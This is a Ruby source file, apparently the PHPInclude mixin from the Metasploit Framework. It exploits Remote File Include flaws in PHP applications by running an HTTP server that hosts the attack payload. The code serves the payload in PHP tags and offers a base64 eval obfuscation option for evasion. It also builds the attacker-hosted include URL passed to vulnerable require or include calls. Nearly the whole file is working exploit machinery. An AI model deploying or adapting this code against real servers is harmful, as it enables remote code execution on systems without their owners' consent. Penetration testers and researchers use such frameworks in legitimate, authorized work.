
module Msf

###
#
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
#
###
module Exploit::Remote::HttpServer::PHPInclude

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})

    # Override TCPServer's stance of passive
    super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))

    register_evasion_options(
      [
        OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
      ], Exploit::Remote::HttpServer::PHPInclude
    )
  end

  # Since these types of vulns are Stance::Aggressive, override HttpServer's
  # normal non-automatic behaviour and allow things to run us automatically
  def autofilter
    true
  end

  ##
  # :category: Exploit::Remote::TcpServer overrides
  #
  # Override exploit() to handle service start/stop
  #
  # Disables SSL for the service since we always want to serve our evil PHP
  # files from a non-ssl server.  There are two reasons for this:
  # 1. https is only supported on PHP versions after 4.3.0 and only if
  #    the OpenSSL extension is compiled in, a non-default configuration on
  #    most systems
  # 2. somewhat less importantly, the SSL option would conflict with the
  #    option for our client connecting to the vulnerable server
  #
  def exploit
    old_ssl = datastore["SSL"]
    datastore["SSL"] = false
    start_service
    datastore["SSL"] = old_ssl

    #if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
    #	print_error("Warning: the URL used for the include might be wrong!")
    #	print_error("If the target system can route to #{srvhost_addr} it")
    #	print_error("is safe to ignore this warning. If not, try using a")
    #	print_error("reverse payload instead of bind.")
    #end

    begin
      print_status("PHP include server started.");
      php_exploit
      ::IO.select(nil, nil, nil, 5)
    rescue ::Interrupt
      raise $!
    ensure
      stop_service
    end
  end

  #
  # Transmits a PHP payload to the web application
  #
  def send_php_payload(cli, body, headers = {})

    case datastore['PHP::Encode']
    when 'base64'
      body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
    when 'none'
      body = "<?php #{body} ?>"
    end

    send_response(cli, body, headers)
  end

  ##
  # :category: Event Handlers
  #
  # Handle an incoming PHP code request
  #
  def on_request_uri(cli, request, headers={})
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Send it to the application
    send_php_payload(cli, p.encoded, headers)
  end

  #
  # The PHP include URL (pre-encoded)
  #
  # Does not take SSL into account.  For the reasoning behind this, see
  # {#exploit}.
  #
  # @return [String] The URL to be used as the argument in a call to
  #   +require+, +require_once+, or +include+ or +include_once+ in a
  #   vulnerable PHP app.
  def php_include_url(sock=nil)
    host = srvhost_addr
    if Rex::Socket.is_ipv6?(host)
      host = "[#{host}]"
    end
    "http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?"
  end

end

end
